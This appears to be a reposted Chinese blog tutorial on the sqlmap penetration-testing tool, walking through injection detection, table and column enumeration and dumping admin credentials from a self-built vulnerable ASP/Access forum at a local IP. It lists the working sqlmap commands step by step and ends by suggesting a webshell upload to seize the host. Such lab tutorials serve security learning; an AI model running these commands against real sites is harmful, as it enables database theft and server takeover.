zoukankan      html  css  js  c++  java
  • 【转】Python渗透测试工具:sqlmap

    【转】:https://www.xdbcb8.com/archives/896.html

    Python中的sqlmap是一种开放源码渗透测试工具,可自动检测、利用SQL注入漏洞和接管数据库服务器的过程。

    它配备了一个强大的检测引擎,适用于许多渗透测试的特色功能,以及从数据库特征识别,从数据库获取数据到访问底层文件系统以及在操作系统上执行命令。

    官方网站:

     automatic SQL injection and database takeover tool

     sqlmap常见疑问:

     sqlmapproject/sqlmap

     下面通过一个例子来进行讲解。

    安装方式:

    pip install sqlmap

     是否支持Python3:

    $ python sqlmap.py  -h
    [CRITICAL] incompatible Python version detected ('3.5.2'). For successfully runn
    ing sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/d
    ownload/')

    测试环境:

    本地搭建的具有sql注入点的网站 

    需要自己搭建一个有漏洞的测试网站,如果你没有合适的测试网站,可以关注微信公众号:学点编程吧获取。

    该网站是由asp+access数据库编写的简易BBS,仅供测试使用。运行后的效果如下:

    好了,有了具体的测试网站,接下来就开始我们渗透测试了。

    注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

    检测注入点是否可用

    这里我们首先要进入sqlmap.py所在目录,默认应该在目录:

    C:Python27Libsite-packagessqlmapC:Python27Libsite-packagessqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351"

    参数:

    -u:指定注入点url

    结果:

    其中:

    [11:09:43] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be

    injectable (possible DBMS: ‘Microsoft Access’)

    [11:09:43] [INFO] heuristic (XSS) test shows that GET parameter ‘id’ might be vu

    lnerable to cross-site scripting attacks

    上述信息我们可以知道这个url可能存在注入漏洞、跨站脚本攻击

    it looks like the back-end DBMS is ‘Microsoft Access’. Do you want to skip test payloads specific for other DBMSes? [Y/n]

    它后端DBMS看起来像是“Microsoft Access”。 是否要跳过特定于其他DBMS的测试有效内容[Y/n] 。

    这里我们选择Y。后面有几个仍然需要我们选择的,我们都选Y。最后给我们一个检测结果。

    注入结果展示:

    (1)注入参数id为GET注入,注入类型:boolean-based blind

    (2)数据库类型为:Microsoft Access

    其中有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:

    C:Python27Libsite-packagessqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --batch

    结果如下:

    猜测表名

    一条命令即可曝出该表名,命令如下:

    C:Python27Libsite-packagessqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --tables

     参数:

    —tables:tables前面有两条杠,请看清楚。

    结果:

    do you want to use common table existence check? [Y/n/q]

    是否要使用公共表存在检查存在? 输入”Y”

    please enter number of threads? [Enter for 1 (current)] 请输入线程数? [输入 1 (当前)]

    然后要你输入线程数,这里输入10,线程数不能输入过大,否则会提示错误。

    然后通过猜测我们得到了相应的表名:admin、bbs

    结果:

    猜测表中的列名

    知道了数据库中表的名称,admin、bbs,一般情况下,用户名和密码是存储在admin表中的,所以我们使用sqlmap猜测admin表中的列名

    C:Python27Libsite-packagessqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --column -T "admin"

    结果:

    我们可以看到admin表中存在username和userpass这两个字段,那么只要猜测出该列中的内容就能得到admin的登录用户名和密码了。

    猜测列中的内容

    C:Python27Libsite-packagessqlmap>python sqlmap.py -u "http://10.20.226.238:58031/bbs/show.asp?id=351" --dump -T "admin" -C "username"

    结果:

    我们看到用户名和密码分别是:admin/12345等等,我用admin和12345,来测试看看。

    验证结果

    结果是验证成功的,测试结果如下:

    总结

    这只是一个模拟测试,通过sqlmap破解网站的用户名和密码,当然后面你可以通过上传webshell等等手段,拿到主机的控制权限,这是后话,最后放一个全部的操作记录动画。

  • 相关阅读:
    【并查集】亲戚
    【图论】Car的旅行线路 NOIP 2001
    【贪心】排座椅
    【DP】花店橱窗布置
    【NOIP】NOIP考纲总结+NOIP考前经验谈
    【NOIP】考前须知
    NOIP 2016 PJ T4 魔法阵
    NOIP 2016 PJ T3 海港
    【高精度】麦森数 NOIP 2003
    【带权并查集】食物链 NOIP 2001
  • 原文地址:https://www.cnblogs.com/monogem/p/12588231.html
Copyright © 2011-2022 走看看